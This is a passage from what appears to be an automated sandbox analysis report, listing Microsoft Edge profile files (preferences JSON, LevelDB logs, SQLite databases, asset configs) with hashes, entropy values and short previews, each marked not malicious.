Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\61564fe3-7efc-4977-a62b-9966906c0a8d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.5611935867921956
Encrypted:	false
SSDEEP:	768:rmEdl5bV7pLGLpiYWPQ2fWi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhgukrK+Urwqz:rj/5bjcpiYWPQ2fWiu1ja0Tke+NqwOse
MD5:	B58D153A9FA87865D97809CE2677BB6E
SHA1:	B5A6F1961068EC08A95B9C0E68B115A1CBB20EA7
SHA-256:	DC1EACC464F41B2DDCBB46023206B46C2CB479A2E0CA3EC30FD3E209C7CAB99D
SHA-512:	CAC516A4D3BA9110CD3A0CB0378DA4DC5159416413F3178801B3388904B817C55CDA7C41B25F78EB32C465C41B77D3D1BCF543653802B3884875CAA27B1AD92B
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374799889911537","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374799889911537","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\67c10739-478e-4bb1-925c-8f91ce43808b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17382), with no line terminators
Category:	dropped
Size (bytes):	17386
Entropy (8bit):	5.481931371509306
Encrypted:	false
SSDEEP:	384:stAPGQSu4Mstvfhg9YFCBMeBobGWQwM6W2aTY2b:sCOXuOvf84bGlbqaTYG
MD5:	4762BA56B37CA070113A2E5770B19A42
SHA1:	273EE3AF79F705AEE0B32C5A135D58F60C6BF4CF
SHA-256:	46079D45EF32DB70D78D106AAD63FBFE8703B81637BE03043FE69BF93FAE2783
SHA-512:	2C03573EF2F35AB16966C7D9929FFA33E6B28814A71193F7CA615D3B43ECD785D2F4929CAF4FAFF53DF6D1A4B0B46CFEDF3E9FC9FA1366662FEB2557EBB3EE3A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8f1904e1-27fa-453c-b6b7-1af4fec79510.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.250911051815263
Encrypted:	false
SSDEEP:	6:6uq1923oH+Tcwtp3hBtB2KLlgPQ+q2P923oH+Tcwtp3hBWsIFUv:6ufYebp3dFLCPQ+v4Yebp3eFUv
MD5:	4ADA86BDE51FC93DB4E6970567E59141
SHA1:	55F50689CF6E4984949A02252B0C9705245FA58B
SHA-256:	BD11AEDC4B1BC34777B8B2AADA80ABBD0494773C0D91C5988F3FA34446747016
SHA-512:	EABDB61604C8B4FB832EAA2BE21B67486DBA122734FB705EC2B6A5A56A149DE9CFFFE299D42ECBD6B1D0AB192DDD421FBE4499C30BF1D509445B6FCE27D9072B
Malicious:	false
Preview:	2024/10/30-18:11:35.296 1e7c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-18:11:35.321 1e7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222874085376893
Encrypted:	false
SSDEEP:	24576:v+/PN8FBfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8ffx2mjF
MD5:	7E567C6DEE95BE4F1D85485AB9D57DF0
SHA1:	78314B0172FB120968A6B4D342AFD696837585F5
SHA-256:	A899CA5315AF0A224FD3EF22B9144CF5EDA9D565846D3FF7B15A63869E33D39C
SHA-512:	DEE42DCE2F066F587674A1AC6AA70B160892106B32C03EAA3E0E969FE03217B205AC5A73360E76F55E50C7D0AF5347577FA7C702A66E99716503F173ECA9285D
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118631689442286
Encrypted:	false
SSDEEP:	6:6kPdq2P923oH+Tcwt9Eh1tIFUt8vDGZmw+vqh3FkwO923oH+Tcwt9Eh15LJ:6kVv4Yeb9Eh16FUt8vDG/+vwF5LYeb9O
MD5:	93E2617F37E2ECA4FE4958BF5B941F31
SHA1:	DF990684797D3528F2B6EDDA3FD068D6368F61CD
SHA-256:	15006B707A2EAE3F4AA49255F8F3440D77F1C2CDC84DE9C7B5C38EB65D3FADA7
SHA-512:	B5D9DB3193C7D3F1B58633FD74BD57AC0F3DA460F250F3495CEDEC88F0073785B299A604B6AEA5AFDEE70E27B8F595D0AADE620A93871702E6E5059A7108C9D1
Malicious:	false
Preview:	2024/10/30-18:11:35.170 2144 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-18:11:35.182 2144 Recovering log #3.2024/10/30-18:11:35.197 2144 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.118631689442286
Encrypted:	false
SSDEEP:	6:6kPdq2P923oH+Tcwt9Eh1tIFUt8vDGZmw+vqh3FkwO923oH+Tcwt9Eh15LJ:6kVv4Yeb9Eh16FUt8vDG/+vwF5LYeb9O
MD5:	93E2617F37E2ECA4FE4958BF5B941F31
SHA1:	DF990684797D3528F2B6EDDA3FD068D6368F61CD
SHA-256:	15006B707A2EAE3F4AA49255F8F3440D77F1C2CDC84DE9C7B5C38EB65D3FADA7
SHA-512:	B5D9DB3193C7D3F1B58633FD74BD57AC0F3DA460F250F3495CEDEC88F0073785B299A604B6AEA5AFDEE70E27B8F595D0AADE620A93871702E6E5059A7108C9D1
Malicious:	false
Preview:	2024/10/30-18:11:35.170 2144 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-18:11:35.182 2144 Recovering log #3.2024/10/30-18:11:35.197 2144 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46300114230524214
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuS:TouQq3qh7z3bY2LNW9WMcUvBuS
MD5:	230290D9D61B8EF25322270896E805BC
SHA1:	364E28631FB4B10D7AFEE3706C49BA4F8AB04892
SHA-256:	95155086855370AD5463DA8FA9CC81CF7F310626AD4DB70951A22B52E4C970C3
SHA-512:	FF4DCBC27037285B5B2A51970FD803FBCC439BE21BC122F9C5CDE5F66B97D67D9D44FB955C35B855A54E339D6C5B510D0A1787BC3CBF0AE70275D0DBAF6FDCB3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1624611025788445
Encrypted:	false
SSDEEP:	6:6A8VOq2P923oH+TcwtnG2tMsIFUt8vdEZZmw+vdEzkwO923oH+TcwtnG2tMsLJ:6TOv4Yebn9GFUt8vdY/+vdA5LYebn95J
MD5:	4E4BA9E8C9E43163650FBEC71B103828
SHA1:	EA26D6280F3FD74EB3187680EE09710C55C5F6C4
SHA-256:	70E4398E5E0A0101D736DFD74FF1836C0BE031FD4B7B3EC923B9B90BA6A2C9D0
SHA-512:	1D70DC376E52762B7F0CF8085BDA26B6B24D6DB74FFD05BD94D3699F15E9808D3BBC6D6E75CCCD54F8A2DDD394A70D37ED69B192D9A19F94DE717E451D4116A6
Malicious:	false
Preview:	2024/10/30-18:11:29.951 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-18:11:29.952 1c10 Recovering log #3.2024/10/30-18:11:29.952 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.1624611025788445
Encrypted:	false
SSDEEP:	6:6A8VOq2P923oH+TcwtnG2tMsIFUt8vdEZZmw+vdEzkwO923oH+TcwtnG2tMsLJ:6TOv4Yebn9GFUt8vdY/+vdA5LYebn95J
MD5:	4E4BA9E8C9E43163650FBEC71B103828
SHA1:	EA26D6280F3FD74EB3187680EE09710C55C5F6C4
SHA-256:	70E4398E5E0A0101D736DFD74FF1836C0BE031FD4B7B3EC923B9B90BA6A2C9D0
SHA-512:	1D70DC376E52762B7F0CF8085BDA26B6B24D6DB74FFD05BD94D3699F15E9808D3BBC6D6E75CCCD54F8A2DDD394A70D37ED69B192D9A19F94DE717E451D4116A6
Malicious:	false
Preview:	2024/10/30-18:11:29.951 1c10 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-18:11:29.952 1c10 Recovering log #3.2024/10/30-18:11:29.952 1c10 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613382751380837
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jzDlG4UpdDlG7WmL:TO8D4jJ/6Up+vxBKx+
MD5:	2170EA6DB1432F08BE7F9DAB2DE77972
SHA1:	B284475B92FE3F030861DB6F98A238CCCA6A55D4
SHA-256:	4E03F1B5176D0ACAEF9C60D8F406F40453DE59048AA047638456F095A7D0CDE1
SHA-512:	BB4DB919CCF53D586D040F9554E6B6B8C3AE5F406610FED9BEE0C4426E91B7148421D6253007DF70E9C62B5CE7F55CEF7F7C631A553169EBDD0D9BC0222E027C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354137600014114
Encrypted:	false
SSDEEP:	6144:6A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:6FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	CEFFF4D70C95DF7FC83F6977AC6E7324
SHA1:	8644A402A5872C0AB1DB66A49119D5A532C405D6
SHA-256:	8E15C4113095D51B5541214E4E6941C42129D9123BB09F0432B3E5EDA032FC70
SHA-512:	7FDF1A1211486458534B120C100F27BB46B20694E0255B5FEDEBC6B88E70C0580C37A35B3F267931FCC7EC70BF10E2999F95E749FA73A74B82B8C5A8B8572EBF
Malicious:	false
Preview:	...m.................DB_VERSION.1.(..q...............&QUERY_TIMESTAMP:domains_config_gz2...13374799895603952..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.159474434184319
Encrypted:	false
SSDEEP:	6:6r1923oH+Tcwtk2WwnvB2KLlg0nq2P923oH+Tcwtk2WwnvIFUv:6+YebkxwnvFLC0nv4YebkxwnQFUv
MD5:	D7520AB5E53EB213041B15680B534EDA
SHA1:	A0A662605FD4FA2527CEC3F4B983F04C877272F2
SHA-256:	3A77BD08C637752C1087EEBDB0864F79C2EAF02037919492784FCF15D14D007B
SHA-512:	07DD1ACE89216AA468CBC4E850FF129CFB3B7241FDE051A04C4EACF8EA4FFE09AB6093C9460B577F7E520272A1382B48C55A1A6678AF09FA1F3DB7232E0EFACF
Malicious:	false
Preview:	2024/10/30-18:11:34.636 2120 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/10/30-18:11:34.674 2120 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324612248280281
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RY:C1gAg1zfvg
MD5:	AE014C2C29177FBD37E0200CD667F789
SHA1:	98621746B2ADA39323063A49357C5974CA323AE4
SHA-256:	4133C74D71C52D4FC37221B827960D6677E515D763841D46F03C00AB42C7F934
SHA-512:	565BED56D331837901EC8B6C1C40E98407F4556DE3713B49154D616887F9E8C68E0F9D2AB02B90088824BC38D1ADDD16B167D42078E272593F351D2807F782DA
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628